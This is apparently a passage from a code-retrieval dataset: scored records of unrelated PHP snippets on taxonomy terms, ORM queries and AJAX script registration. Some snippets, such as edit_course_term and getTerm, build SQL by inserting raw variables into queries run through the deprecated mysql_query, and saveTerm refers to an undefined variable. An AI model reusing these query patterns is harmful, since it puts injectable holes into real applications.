marker array\n\n\t\t\t// Set the URL to the terms\n\t\t\t$markerArray['###TERMSANDCONDITIONSURL###'] = $this->cObj->getTypoLink_URL($this->conf['terms.']['params']);\n\n\t\t\t//render\n\t\t\t$return = $this->cObj->substituteMarkerArrayCached($subpart, $markerArray);\n\n\t\t\t//send the html back\n\t\t\treturn($return);\n\t\t} else {\n\t\t\t//return empty\n\t\t\treturn ('');\n\t\t}\n\n\t}", "title": "" }, { "docid": "342fba891660c64f53ecf4bec5128120", "score": "0.46609995", "text": "public function setReplacementTerm($var)\n {\n GPBUtil::checkString($var, True);\n $this->replacement_term = $var;\n\n return $this;\n }", "title": "" }, { "docid": "311c8d2ed74f0d5a756e1b18dbb63a98", "score": "0.46556687", "text": "function getActiveTerms()\n\t{\n\t\t$data = array();\n\t\t$sql = \"begin :cursorvar := gb_integ_config.f_query_all(p_sqpr_code => :sqpr_code,p_icsn_code => :icsn_code); end;\";\n\t\tif($results = $this->db->ExecuteCursor($sql, 'cursorvar', array('sqpr_code'=>'ELEARNING','icsn_code'=>'ACTIVE_TERM')))\n\t\t{\n\t\t\twhile($row = $results->FetchRow())\n\t\t\t{\n\t\t\t\t$row = PSUTools::cleanKeys('goriccr_','r_',$row);\n\t\t\t\t\n\t\t\t\t$data[] = $row['r_value'];\n\t\t\t}//end while\n\t\t}//end if\n\t\t\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "5a4701ca15bc94e454b8831e1b7388c9", "score": "0.4653424", "text": "public function getNodeTerms(array $nids, array $vocabs = [], $langcode = NULL);", "title": "" }, { "docid": "e2718586f201dca84b3cc2870899cac4", "score": "0.46474388", "text": "public function testTaxonomyTermView() {\n // Create terms in the vocabulary.\n $term = $this->createTerm();\n\n // Post an article.\n $edit = [];\n $edit['title[0][value]'] = $original_title = $this->randomMachineName();\n $edit['body[0][value]'] = $this->randomMachineName();\n $edit[\"{$this->fieldName1}[]\"] = $term->id();\n $this->drupalGet('node/add/article');\n $this->submitForm($edit, 'Save');\n $node = $this->drupalGetNodeByTitle($edit['title[0][value]']);\n\n $this->drupalGet('taxonomy/term/' . $term->id());\n $this->assertSession()->pageTextContains($term->label());\n $this->assertSession()->pageTextContains($node->label());\n\n \\Drupal::service('module_installer')->install(['language', 'content_translation']);\n ConfigurableLanguage::createFromLangcode('ur')->save();\n // Enable translation for the article content type and ensure the change is\n // picked up.\n \\Drupal::service('content_translation.manager')->setEnabled('node', 'article', TRUE);\n $roles = $this->adminUser->getRoles(TRUE);\n Role::load(reset($roles))\n ->grantPermission('create content translations')\n ->grantPermission('translate any entity')\n ->save();\n\n $edit['title[0][value]'] = $translated_title = $this->randomMachineName();\n\n $this->drupalGet('node/' . $node->id() . '/translations/add/en/ur');\n $this->submitForm($edit, 'Save (this translation)');\n\n $this->drupalGet('taxonomy/term/' . $term->id());\n $this->assertSession()->pageTextContains($term->label());\n $this->assertSession()->pageTextContains($original_title);\n $this->assertSession()->pageTextNotContains($translated_title);\n\n $this->drupalGet('ur/taxonomy/term/' . $term->id());\n $this->assertSession()->pageTextContains($term->label());\n $this->assertSession()->pageTextNotContains($original_title);\n $this->assertSession()->pageTextContains($translated_title);\n\n // Uninstall language module and ensure that the language is not part of the\n // query anymore.\n // @see \\Drupal\\views\\Plugin\\views\\filter\\LanguageFilter::query()\n $node->delete();\n\n // We also have to remove the nodes created by the parent ::setUp() method\n // if we want to be able to uninstall the Content Translation module.\n foreach (Node::loadMultiple() as $node) {\n $node->delete();\n }\n \\Drupal::service('module_installer')->uninstall(['content_translation', 'language']);\n\n $view = Views::getView('taxonomy_term');\n $view->initDisplay();\n $view->setArguments([$term->id()]);\n $view->build();\n /** @var \\Drupal\\Core\\Database\\Query\\Select $query */\n $query = $view->build_info['query'];\n $tables = $query->getTables();\n\n // Ensure that the join to node_field_data is not added by default.\n $this->assertEquals(['node_field_data', 'taxonomy_index'], array_keys($tables));\n // Ensure that the filter to the language column is not there by default.\n $condition = $query->conditions();\n // We only want to check the no. of conditions in the query.\n unset($condition['#conjunction']);\n $this->assertCount(1, $condition);\n\n // Clear permissions for anonymous users to check access for default views.\n Role::load(RoleInterface::ANONYMOUS_ID)->revokePermission('access content')->save();\n\n // Test the default views disclose no data by default.\n $this->drupalLogout();\n $this->drupalGet('taxonomy/term/' . $term->id());\n $this->assertSession()->statusCodeEquals(403);\n $this->drupalGet('taxonomy/term/' . $term->id() . '/feed');\n $this->assertSession()->statusCodeEquals(403);\n }", "title": "" }, { "docid": "4ab5f668436688ef7089ec6e78d082eb", "score": "0.46428227", "text": "function edit_course_term($id, $term)\r\n {\r\n $query = \"UPDATE Courses SET Term_Title = '$term' WHERE Course_ID= '$id'\";\r\n $result = mysql_query($query);\r\n if(!$result)\r\n die(\"Database access failed: \" .mysql_error());\r\n }", "title": "" }, { "docid": "3f979b5ba09417a506d5a59c9ef51ea1", "score": "0.46404693", "text": "abstract protected function addTerm(string $searchWord, string $field): Term;", "title": "" }, { "docid": "bcb7a57e967efafbd70bb947d52d45d5", "score": "0.4631548", "text": "function calais_keywords_form_submit($form, &$form_state) {\n $node = (object)$form_state['values'];\n\n // Fill in terms from other non-Calais vocabularies as to not remove them\n $taxonomy = taxonomy_node_get_terms($node);\n $vocabs = calais_get_vocabularies($node->type);\n foreach ($taxonomy as $term){\n if (!isset($vocabs[$term->vid]))\n $node->taxonomy[] = $term;\n }\n\n taxonomy_node_save($node, $node->taxonomy);\n \n // Query for Node Terms directly. Some wierd caching (I think) with taxonomy_node_get_terms\n // made it so newly created terms were not returned. This next block of code happens to be\n // VERY interested in newly created terms, so I have to query directly. Boo! :( - ff\n $result = db_query('SELECT t.* FROM {term_node} r \n INNER JOIN {term_data} t ON r.tid = t.tid \n WHERE r.vid = %d ORDER BY t.weight, t.name', $node->vid);\n while ($term = db_fetch_object($result)) {\n $calais_term = calais_get_node_term_by_name($node->nid, $term->name);\n if($calais_term && $term->vid == $calais_term->vid) {\n if (empty($calais_term->tdid) || $calais_term->tdid != $term->tid) {\n $calais_term->tdid = $term->tid;\n calais_save_term($calais_term);\n }\n }\n }\n\n // Actually load the full node to send along to nodeapi, otherwise things like\n // pathauto settings get lost. This will also load up the new taxonomy term associations.\n $node = node_load($node->nid);\n\n // Loads the new taxonomy terms.\n $node->taxonomy = _calais_taxonomy_node_get_terms($node);\n \n // Prevent Pathatuo from recreating a path.\n if(module_exists('pathauto')){\n $node->pathauto_perform_alias = FALSE;\n }\n \n // Flag to prevent calais terms from being processed twice\n $node->calais_processed = TRUE;\n \n // Terms may have changed, notify those that care\n node_invoke_nodeapi($node, 'update');\n\n drupal_set_message(t('Your Calais tags have been saved.'));\n $form_state['redirect'] = \"node/{$node->nid}/calais\";\n}", "title": "" }, { "docid": "e8eae6b6d5f3be48635e608e37896d42", "score": "0.46312085", "text": "public function joinFeatureCvterm($relationAlias = null, $joinType = Criteria::INNER_JOIN)\n {\n $tableMap = $this->getTableMap();\n $relationMap = $tableMap->getRelation('FeatureCvterm');\n\n // create a ModelJoin object for this join\n $join = new ModelJoin();\n $join->setJoinType($joinType);\n $join->setRelationMap($relationMap, $this->useAliasInSQL ? $this->getModelAlias() : null, $relationAlias);\n if ($previousJoin = $this->getPreviousJoin()) {\n $join->setPreviousJoin($previousJoin);\n }\n\n // add the ModelJoin to the current object\n if ($relationAlias) {\n $this->addAlias($relationAlias, $relationMap->getRightTable()->getName());\n $this->addJoinObject($join, $relationAlias);\n } else {\n $this->addJoinObject($join, 'FeatureCvterm');\n }\n\n return $this;\n }", "title": "" }, { "docid": "3d02bf498a324ea52aceddcbae263e67", "score": "0.46291697", "text": "public function saveTerm($term)\n {\n if($term->id > 0) // update\n {\n $term->isNewRecord=false;\n if(($oldterm = Term::model()->findByPk($student->id))!==null)\n {\n $oldterm->attributes=$term->attributes;\n return $oldterm->save();\n }\n else\n return false;\n }\n else // insert\n {\n $term->isNewRecord=true;\n $term->id=null;\n return $term->save();\n }\n\n }", "title": "" }, { "docid": "f6234af2b5035c0d2998518ee00f2acd", "score": "0.46286777", "text": "public function edit_tag_form( $term, $taxonomy )\n\t{\n\t\trequire_once plugin_dir_path( __FILE__ ).'views/form-field.php';\n\t}", "title": "" }, { "docid": "0f1a8994db072e35519c0fc9586b1d1f", "score": "0.46230093", "text": "private function _set_term_code()\n\t{\n\t\t$term = $GLOBALS['BANNER']->GetOne(\"SELECT f_get_currentterm('GR') FROM dual\");\n\t\t\n\t\tif($GLOBALS['BANNER']->ErrorNo() > 0)\n\t\t{\n\t\t\tthrow new ProspectsException(ProspectsException::SQL_ERROR);\n\t\t}\n\n\t\t$this->data['term_code'] = $term;\n\t}", "title": "" }, { "docid": "599aa644e114ec5256f346e093cb1114", "score": "0.4622488", "text": "static public function getType() {\n return 'term';\n }", "title": "" }, { "docid": "8eb09607d751b2e37f7522b424d4e143", "score": "0.46192303", "text": "public function terms() {\n parent::close();\n return view('conventions.terms');\n }", "title": "" }, { "docid": "9497cc656b7014dd048fddde0ac4dbe4", "score": "0.46188515", "text": "public function setVocabulary()\n { \n $this->performInOrder(function($currentNode){\n if($currentNode->getTerm() !== null){\n $this->vocabulary += array($currentNode->getTerm() => [$currentNode->getTermId(), $currentNode->getDocFreq(), $currentNode->getTermFreq()]);\n }\n \n }, $this->root_node, $this->root_node);\n\n }", "title": "" }, { "docid": "a3ff43d7b3c26975bfbf9d6000a07cf4", "score": "0.4616329", "text": "public function filterByCvterm($cvterm, $comparison = null)\n {\n if ($cvterm instanceof Cvterm) {\n return $this\n ->addUsingAlias(FeaturePeer::TYPE_ID, $cvterm->getCvtermId(), $comparison);\n } elseif ($cvterm instanceof PropelObjectCollection) {\n if (null === $comparison) {\n $comparison = Criteria::IN;\n }\n\n return $this\n ->addUsingAlias(FeaturePeer::TYPE_ID, $cvterm->toKeyValue('PrimaryKey', 'CvtermId'), $comparison);\n } else {\n throw new PropelException('filterByCvterm() only accepts arguments of type Cvterm or PropelCollection');\n }\n }", "title": "" }, { "docid": "a243df76d11420886b8bb52b2449e0c2", "score": "0.46153557", "text": "function c4m_features_og_manage_categories_overview_form_submit($form, &$form_state) {\n\n if ($form_state['triggering_element']['#value'] == t('Add Term')) {\n // Execute adding a term.\n c4m_features_og_manage_categories_overview_add_term_submit($form, $form_state);\n return;\n }\n\n $vocabulary = $form['#vocabulary'];\n $tree = taxonomy_get_tree($vocabulary->vid);\n // Update the terms weight.\n c4m_features_og_manage_categories_overview_update_vocabulary($form, $form_state, $tree);\n}", "title": "" }, { "docid": "3af706e6dabbed3396f878d12703c57e", "score": "0.46084857", "text": "public function terms()\n {\n \t$this->load->model('Admin_model');\n \t$view['category'] = $this->Admin_model->get_category();\n \t/*==============================*/\n \t$this->load->model('User_model');\n \t$view['logos'] = $this->User_model->logo_generate();\n\n \t$this->load->model('User_model');\n \t$view['dscs'] = $this->User_model->ft_generate();\n\n \t$this->load->model('User_model');\n \t$view['names'] = $this->User_model->name_generate();\n\n \t$this->load->model('User_model');\n \t$view['abtdscs'] = $this->User_model->about_generate(); \n\n \t$this->load->model('User_model');\n \t$view['contactdscs'] = $this->User_model->contact_generate(); \n\n \t$this->load->model('User_model');\n \t$view['termsdscs'] = $this->User_model->terms_generate();\n\n \t$view['user_view'] = \"temp/terms\";\n \t$this->load->view('layouts/user_layout', $view);\n }", "title": "" }, { "docid": "21b4279aa623a788f5215f3e5e130dde", "score": "0.46039638", "text": "protected function doInsert(PropelPDO $con)\n {\n $modifiedColumns = array();\n $index = 0;\n\n $this->modifiedColumns[] = CvtermPeer::CVTERM_ID;\n if (null !== $this->cvterm_id) {\n throw new PropelException('Cannot insert a value for auto-increment primary key (' . CvtermPeer::CVTERM_ID . ')');\n }\n if (null === $this->cvterm_id) {\n try {\n $stmt = $con->query(\"SELECT nextval('cvterm_cvterm_id_seq')\");\n $row = $stmt->fetch(PDO::FETCH_NUM);\n $this->cvterm_id = $row[0];\n } catch (Exception $e) {\n throw new PropelException('Unable to get sequence id.', $e);\n }\n }\n\n\n // check the columns in natural order for more readable SQL queries\n if ($this->isColumnModified(CvtermPeer::CVTERM_ID)) {\n $modifiedColumns[':p' . $index++] = '\"cvterm_id\"';\n }\n if ($this->isColumnModified(CvtermPeer::CV_ID)) {\n $modifiedColumns[':p' . $index++] = '\"cv_id\"';\n }\n if ($this->isColumnModified(CvtermPeer::NAME)) {\n $modifiedColumns[':p' . $index++] = '\"name\"';\n }\n if ($this->isColumnModified(CvtermPeer::DEFINITION)) {\n $modifiedColumns[':p' . $index++] = '\"definition\"';\n }\n if ($this->isColumnModified(CvtermPeer::DBXREF_ID)) {\n $modifiedColumns[':p' . $index++] = '\"dbxref_id\"';\n }\n if ($this->isColumnModified(CvtermPeer::IS_OBSOLETE)) {\n $modifiedColumns[':p' . $index++] = '\"is_obsolete\"';\n }\n if ($this->isColumnModified(CvtermPeer::IS_RELATIONSHIPTYPE)) {\n $modifiedColumns[':p' . $index++] = '\"is_relationshiptype\"';\n }\n\n $sql = sprintf(\n 'INSERT INTO \"cvterm\" (%s) VALUES (%s)',\n implode(', ', $modifiedColumns),\n implode(', ', array_keys($modifiedColumns))\n );\n\n try {\n $stmt = $con->prepare($sql);\n foreach ($modifiedColumns as $identifier => $columnName) {\n switch ($columnName) {\n case '\"cvterm_id\"':\n $stmt->bindValue($identifier, $this->cvterm_id, PDO::PARAM_INT);\n break;\n case '\"cv_id\"':\n $stmt->bindValue($identifier, $this->cv_id, PDO::PARAM_INT);\n break;\n case '\"name\"':\n $stmt->bindValue($identifier, $this->name, PDO::PARAM_STR);\n break;\n case '\"definition\"':\n $stmt->bindValue($identifier, $this->definition, PDO::PARAM_STR);\n break;\n case '\"dbxref_id\"':\n $stmt->bindValue($identifier, $this->dbxref_id, PDO::PARAM_INT);\n break;\n case '\"is_obsolete\"':\n $stmt->bindValue($identifier, $this->is_obsolete, PDO::PARAM_INT);\n break;\n case '\"is_relationshiptype\"':\n $stmt->bindValue($identifier, $this->is_relationshiptype, PDO::PARAM_INT);\n break;\n }\n }\n $stmt->execute();\n } catch (Exception $e) {\n Propel::log($e->getMessage(), Propel::LOG_ERR);\n throw new PropelException(sprintf('Unable to execute INSERT statement [%s]', $sql), $e);\n }\n\n $this->setNew(false);\n }", "title": "" }, { "docid": "0f430fe2bc9b50d788c1f258716afe9f", "score": "0.4601256", "text": "public function filterByFeatureCvterm($featureCvterm, $comparison = null)\n {\n if ($featureCvterm instanceof FeatureCvterm) {\n return $this\n ->addUsingAlias(FeaturePeer::FEATURE_ID, $featureCvterm->getFeatureId(), $comparison);\n } elseif ($featureCvterm instanceof PropelObjectCollection) {\n return $this\n ->useFeatureCvtermQuery()\n ->filterByPrimaryKeys($featureCvterm->getPrimaryKeys())\n ->endUse();\n } else {\n throw new PropelException('filterByFeatureCvterm() only accepts arguments of type FeatureCvterm or PropelCollection');\n }\n }", "title": "" }, { "docid": "db38346b7903b8cb9faeb27bb32895ff", "score": "0.45988375", "text": "public function setCijena($value) { $this->cijena = $value;}", "title": "" }, { "docid": "239e75c29a02306555c365e0be976e73", "score": "0.45927", "text": "public function getTermId()\n {\n return $this->termId;\n }", "title": "" }, { "docid": "ad5802d252b500333c5331b6b868bbb1", "score": "0.45864534", "text": "public function search_term( $term, $term_class = '\\Filmio\\Term' )\n\t{\n\t\t$params = array( 'vocab_id' => $this->id );\n\t\t$params[ 'term' ] = $term;\n\t\t$query = 'SELECT * FROM {terms} WHERE vocabulary_id = :vocab_id AND (term LIKE :term OR term_display LIKE :term)';\n\t\treturn new Terms(DB::get_results( $query, $params, $term_class ));\n\t}", "title": "" }, { "docid": "a2957dd4265433f71c357c35b1a168f1", "score": "0.45745295", "text": "public function getTerms($term_id,$student_id)\n {\n $term_numebr = FeeParticularPayment::join('feeschedule_particulars','feeschedule_particulars.id','=','feeparticular_paymets.feeschedule_particular_id')\n ->where('feeschedule_particular_id','=',$term_id)\n ->where('student_id','=',$student_id)\n ->first(); \n \n return $term_numebr;\n\n }", "title": "" }, { "docid": "1a940224cdf6916e70de45315d5a0ced", "score": "0.45742044", "text": "public function getReplacementTerm()\n {\n return $this->replacement_term;\n }", "title": "" }, { "docid": "5b26fb68101e47ee56e44ff3b09f55f0", "score": "0.45685756", "text": "public function create()\n {\n $term=Term::all();\n return view('basicinfo::term.create')->with('term',$term);\n }", "title": "" }, { "docid": "8a69d10a96a8b21f76234bdbbf1d6b97", "score": "0.45670354", "text": "public function terms()\n {\n return $this->belongsToMany(Term::class, $this->prefix . 'term_relationships', 'object_id', 'term_taxonomy_id');\n }", "title": "" }, { "docid": "b32ba8b0fdb84293c893497375516a77", "score": "0.45661056", "text": "function getTerm($id)\r\n {\r\n $query = \"SELECT Term_Title FROM Courses WHERE Course_ID = '$id'\";\r\n $result = mysql_query($query);\r\n if(!$result)\r\n die(\"Database access failed: \" .mysql_error());\r\n $rows = mysql_num_rows($result);\r\n \r\n echo \"<table><tr> <th>Term</th> </tr>\";\r\n \r\n for($j=0; $j < $rows; ++$j)\r\n {\r\n $row = mysql_fetch_row($result);\r\n echo \"<tr>\";\r\n for($k=0; $k < 1; ++$k)\r\n echo \"<td>$row[$k]</td>\";\r\n echo \"</tr>\";\r\n }\r\n }", "title": "" }, { "docid": "68c39052fc6c563e216f83aa447e03c9", "score": "0.4566054", "text": "function c4m_features_og_manage_categories_overview_add_term_submit($form, &$form_state) {\n $parent_id = isset($form_state['triggering_element']['#attributes']['id']) ? $form_state['triggering_element']['#attributes']['id'] : 0;\n $term_name = $parent_id ? $form_state['input']['name-' . $parent_id] : $form_state['input']['name'];\n if (!$term_name) {\n drupal_set_message(t('Term name is a required field.'), 'error');\n return FALSE;\n }\n $form['#term'] = array(\n 'name' => $term_name,\n 'vid' => $form['#vocabulary']->vid,\n 'vocabulary_machine_name' => $form['#vocabulary']->machine_name,\n 'parent' => array($parent_id),\n );\n $form_state['term'] = (object) $form['#term'];\n $form_state['values'] = $form['#term'];\n\n entity_form_field_validate('taxonomy_term', $form, $form_state);\n\n // Save term.\n $term = c4m_features_og_manage_taxonomy_form_term_submit_build_taxonomy_term($form, $form_state);\n taxonomy_term_save($term);\n\n drupal_set_message(t('Created new term %term.', array('%term' => $term->name)));\n watchdog('taxonomy', 'Created new term %term.', array('%term' => $term->name), WATCHDOG_NOTICE, l(t('categories management'), 'manage/categories'));\n}", "title": "" }, { "docid": "9d6537eb334b1844df59bfd7d47394d4", "score": "0.45611352", "text": "function ParseTerm($tk)\n {\n\n if ($tk->type == \"punc\" && $tk->current == \"!\") {\n // Parse ! as cut/0\n $tk->consume();\n return new Term(\"cut\", array());\n }\n\n if ($tk->type != \"id\")\n return null;\n $name = $tk->current;\n $tk->consume();\n\n if ($tk->current != \"(\") {\n // fail shorthand for fail(), ie, fail/0\n if ($name == \"fail\") {\n return new Term($name, array());\n }\n return null;\n }\n $tk->consume();\n\n $p = array();\n $i = 0;\n while ($tk->current != \")\") {\n if ($tk->type == \"eof\")\n return null;\n\n $part = $this->ParsePart($tk);\n if ($part == null)\n return null;\n\n if ($tk->current == \",\")\n $tk->consume();\n else if ($tk->current != \")\")\n return null;\n\n // Add the current Part onto the list...\n $p[$i++] = $part;\n }\n $tk->consume();\n\n $term = new Term($name, $p);\n\n return $term;\n }", "title": "" }, { "docid": "5c1062c5ab4c90565804f9865d005f87", "score": "0.4557335", "text": "public function setCvId($v)\n {\n if ($v !== null && is_numeric($v)) {\n $v = (int) $v;\n }\n\n if ($this->cv_id !== $v) {\n $this->cv_id = $v;\n $this->modifiedColumns[] = CvtermPeer::CV_ID;\n }\n\n if ($this->aCv !== null && $this->aCv->getCvId() !== $v) {\n $this->aCv = null;\n }\n\n\n return $this;\n }", "title": "" }, { "docid": "080bc75d6f0066019b4d2b2a560ebac1", "score": "0.45552608", "text": "public function __construct(string $term)\n {\n $this->term = $term;\n\n if (is_admin()) {\n $this->initializeTermMeta();\n\t\t}\n }", "title": "" }, { "docid": "1ebe2766f16c43e6313207c48cc826aa", "score": "0.45539448", "text": "public function getCijena(){ return $this->cijena; }", "title": "" }, { "docid": "7f628a1d7f8321ff8c97cc1bb270c39f", "score": "0.45486507", "text": "public function terms() {\n $page = \\App\\StaticPage::where('page', 'terms')->first();\n return view('terms', compact('page'));\n }", "title": "" }, { "docid": "68ff9027d7840d71cf6fc116d59c57ee", "score": "0.45464522", "text": "public function terms() {\n $data['logged_in_user_data'] = $this->session->userdata('logged_in_user_data');\n $this->User_activity->insert_user_activity();\n $static_page_name = $this->uri->segment(1);\n $data['static_pages_content'] = $this->Static_page->get_terms_privacy_content($static_page_name);\n\n $data['main_content'] = 'terms';\n $data['active_url'] = \"terms\";\n $this->load->view('includes/template', $data);\n }", "title": "" }, { "docid": "4df1975dea43306690af763011b41ae0", "score": "0.4539801", "text": "function devel_generate_terms($records, $vocabs, $maxlength = 12) {\n $terms = array();\n\n // Insert new data:\n $max = db_query('SELECT MAX(tid) FROM {taxonomy_term_data}')->fetchField();\n $start = time();\n for ($i = 1; $i <= $records; $i++) {\n $term = new stdClass;\n switch ($i % 2) {\n case 1:\n // Set vid and vocabulary_machine_name properties.\n $vocab = $vocabs[array_rand($vocabs)];\n $term->vid = $vocab->vid;\n $term->vocabulary_machine_name = $vocab->machine_name;\n // Don't set a parent. Handled by taxonomy_save_term()\n // $term->parent = 0;\n break;\n default:\n while (TRUE) {\n // Keep trying to find a random parent.\n $candidate = mt_rand(1, $max);\n $query = db_select('taxonomy_term_data', 't');\n $query->innerJoin('taxonomy_vocabulary', 'v', 't.vid = v.vid');\n $parent = $query\n ->fields('t', array('tid', 'vid'))\n ->fields('v', array('machine_name'))\n ->condition('v.vid', array_keys($vocabs), 'IN')\n ->condition('t.tid', $candidate, '>=')\n ->range(0,1)\n ->execute()\n ->fetchAssoc();\n if ($parent['tid']) {\n break;\n }\n }\n $term->parent = $parent['tid'];\n // Slight speedup due to this property being set.\n $term->vocabulary_machine_name = $parent['machine_name'];\n $term->vid = $parent['vid'];\n break;\n }\n\n $term->name = devel_generate_word(mt_rand(2, $maxlength));\n $term->description = \"description of \". $term->name;\n $term->format = filter_fallback_format();\n $term->weight = mt_rand(0, 10);\n $term->language = LANGUAGE_NONE;\n\n // Populate all core fields on behalf of field.module\n module_load_include('inc', 'devel_generate', 'devel_generate.fields');\n devel_generate_fields($term, 'taxonomy_term', $term->vocabulary_machine_name);\n\n if ($status = taxonomy_term_save($term)) {\n $max += 1;\n if (function_exists('drush_log')) {\n $feedback = drush_get_option('feedback', 1000);\n if ($i % $feedback == 0) {\n $now = time();\n drush_log(dt('Completed !feedback terms (!rate terms/min)', array('!feedback' => $feedback, '!rate' => $feedback*60 / ($now-$start) )), 'ok');\n $start = $now;\n }\n }\n\n // Limit memory usage. Only report first 20 created terms.\n if ($i < 20) {\n $terms[] = $term->name;\n }\n\n unset($term);\n }\n }\n return $terms;\n}", "title": "" }, { "docid": "c0083101fe95f861fecd223ebe4a6580", "score": "0.45378312", "text": "function delete_term($id) {\n\t\tglobal $wpdb;\n\t\t$wpdb->query(\"DELETE FROM $this->term2syn_table WHERE term_id = $id\");\n\t}", "title": "" }, { "docid": "8d086ad0334aa6f8da4b9387fd54d9a1", "score": "0.4536206", "text": "public function run()\n {\n //\n $terms = [\n [\n 'name' => 'First Term',\n 'active' => '1'\n ],\n [\n 'name' => 'Second Term',\n 'active' => '0'\n ],\n [\n 'name' => 'Third Term',\n 'active' => '0'\n ]\n ];\n foreach($terms as $term){\n Term::create($term);\n }\n }", "title": "" }, { "docid": "ba085a51abb0bfbea49c8e84cc5ce998", "score": "0.45303202", "text": "public function relationNames()\r\n {\r\n return [\r\n 'term'\r\n ];\r\n }", "title": "" } ]
4ee8a56d4cfb53cab923c824fee1f09d
Add JavaScript and enable ajax handlers
[ { "docid": "e646a51dff7598f1dda8eaca1e792b55", "score": "0.6500978", "text": "function scripts() {\n\t\twp_register_script(\n\t\t\t'ajax-for-all-bbq',\n\t\t\t$this->plugin_url() . '/js/jquery.ba-bbq.min.js',\n\t\t\tarray( 'jquery' ),\n\t\t\t'0.5',\n\t\t\ttrue\n\t\t);\n\t\twp_register_script(\n\t\t\t'ajax-for-all',\n\t\t\t$this->plugin_url() . '/js/ajax-for-all.js',\n\t\t\tarray( 'jquery', 'ajax-for-all-bbq' ),\n\t\t\t'0.5',\n\t\t\ttrue\n\t\t);\n\t\twp_enqueue_script( 'ajax-for-all' );\n\t\tadd_action( 'wp_print_scripts', array( &$this, 'ajax_url' ) );\n\t}", "title": "" } ]
[ { "docid": "19ed0b7d2cd39ccbd5be9ed40603d68a", "score": "0.7223236", "text": "public static function load_frontend_scripts_before_ajax() {\n $global_settings = SUPER_Common::get_global_settings();\n if( isset( $global_settings['enable_ajax'] ) ) {\n if( $global_settings['enable_ajax']=='1' ) { \n require_once( SUPER_PLUGIN_DIR . '/includes/class-settings.php' );\n $default_settings = SUPER_Settings::get_defaults();\n $global_settings = array_merge( $default_settings, $global_settings );\n self::enqueue_element_styles();\n self::enqueue_element_scripts(array('settings'=>$global_settings, 'ajax'=>true));\n }\n }\n }", "title": "" }, { "docid": "4a18663e24c39a646bcbd6751eb94686", "score": "0.71005243", "text": "public static function add_js();", "title": "" }, { "docid": "70842e497a2daa18f7de05fe6f3398e5", "score": "0.7091491", "text": "function addAjaxControls() {}", "title": "" }, { "docid": "3908050802fbceceb6f6ccd598555467", "score": "0.69307137", "text": "public function ajax_init() {\n\n $jsObject = array( 'ajaxurl' => admin_url( 'admin-ajax.php' ).'?action='.$this->slug );\n wp_localize_script( 'jquery', $this->slug, $jsObject );\n // this hook is fired if the current viewer is not logged in\n add_action( 'wp_ajax_nopriv_'.$this->slug, array( &$this, 'ajax_handler' ) );\n add_action( 'wp_ajax_'.$this->slug, array( &$this, 'ajax_handler' ) );\n }", "title": "" }, { "docid": "29f4180ed4b6b432b600953b563c8016", "score": "0.6821327", "text": "public function ajax_includes() {\n \n include_once( 'includes/class-ajax.php' ); // Ajax functions for admin and the front-end\n \n }", "title": "" }, { "docid": "a5ef9b62893d524347e462c58c2178a3", "score": "0.6792603", "text": "public function enqueue_scripts_before_ajax_calls() {\n \n include_once('includes/class-ajax.php'); // Ajax functions for admin and the front-end\n \n }", "title": "" }, { "docid": "9b803a93a06e28cb90b13ae7e2221aa2", "score": "0.67297643", "text": "protected function registerJs()\n {\n $config['options'] = $this->options;\n $config['layerOptions'] = $this->layerOptions;\n $config['layerOptions']['layerId'] = $this->layer->getLayerId();\n\n $config = Json::encode($config);\n $layerClass = Json::encode($this->layerClass);\n //增加csrf by xiongchuan\n $csrf = Yii::$app->request->csrfToken;\n $this->view->registerJs(\"\n $(document).ajaxComplete(function (event, xhr, settings) {\n if (settings.url != '$this->url' ) {\n $.ajax({\n url: '$this->url',\n type: 'POST',\n cache: false,\n data: {\n layerClass: '$layerClass',\n config: '$config',\n '_csrf': '$csrf'\n },\n success: function(data) {\n $('#\" . $this->layer->getLayerId() . \"').html(data);\n }\n });\n }\n });\n \", View::POS_END);\n }", "title": "" }, { "docid": "fb788223b1872dc89c907894dffed417", "score": "0.67295897", "text": "public function registerClientScript() {\n $id = $this->getId();\n\n if ($this->ajaxUpdate === false)\n $ajaxUpdate = array();\n else\n $ajaxUpdate = array_unique(preg_split('/\\s*,\\s*/', $this->ajaxUpdate . ',' . $id, -1, PREG_SPLIT_NO_EMPTY));\n $options = array(\n 'ajaxUpdate' => $ajaxUpdate,\n 'ajaxVar' => $this->ajaxVar,\n 'pagerClass' => $this->pagerCssClass,\n 'loadingClass' => $this->loadingCssClass,\n 'sorterClass' => $this->sorterCssClass,\n );\n if ($this->ajaxUrl !== null)\n $options['url'] = CHtml::normalizeUrl($this->ajaxUrl);\n if ($this->populateDataFunction !== null)\n $options['populateDataFunction'] = (strpos($this->populateDataFunction, 'js:') !== 0 ? 'js:' : '') . $this->populateDataFunction;\n if ($this->updateSelector !== null)\n $options['updateSelector'] = $this->updateSelector;\n if ($this->beforeAjaxUpdate !== null)\n $options['beforeAjaxUpdate'] = (strpos($this->beforeAjaxUpdate, 'js:') !== 0 ? 'js:' : '') . $this->beforeAjaxUpdate;\n if ($this->afterAjaxUpdate !== null)\n $options['afterAjaxUpdate'] = (strpos($this->afterAjaxUpdate, 'js:') !== 0 ? 'js:' : '') . $this->afterAjaxUpdate;\n\n $options = CJavaScript::encode($options);\n $cs = Yii::app()->getClientScript();\n $cs->registerCoreScript('jquery');\n $cs->registerCoreScript('bbq');\n $cs->registerScriptFile('/js/jquery.datasending.yiilistview.js', CClientScript::POS_END);\n $cs->registerScript(__CLASS__ . '#' . $id, \"jQuery('#$id').dataSendingListView($options);\");\n }", "title": "" }, { "docid": "e55311fa36bc5375c40fbf4a3cbcaa39", "score": "0.67164207", "text": "public function load_js() {\n\n new Slate_Jquery;\n new Slate_JS('onyx-ajax.js');\n new Slate_JS('app.js', array(\n 'src' => _template_uri . '/assets/js/app.js'\n ));\n new Slate_JS('job-search.js');\n wp_localize_script( 'onyx-ajax.js', 'onyx', array( 'ajax' => admin_url( 'admin-ajax.php' )));\n }", "title": "" }, { "docid": "35aac1432aecdce4b4fac4dc56269b56", "score": "0.6693284", "text": "public static function add_scripts()\n {\n // Depends on jQuery\n jQuery::add_scripts();\n\n Layout::instance()->add_script(\"var base_url='\" . URL::base() . \"';\", TRUE);\n Layout::instance()->add_script(Modules::uri('widgets') . '/public/js/widgets.js');\n }", "title": "" }, { "docid": "684713080f257f698d4a5ab86558838a", "score": "0.6539087", "text": "function ajax_init() {\n\t\t// Hook Ajax Select Event\n\t\tadd_action('wp_ajax_select_event', array($this, 'bcm_ajax_event_select'));\n\n\t\t// Hook Ajax Start Tracking\n\t\tadd_action('wp_ajax_start_tracking', array($this, 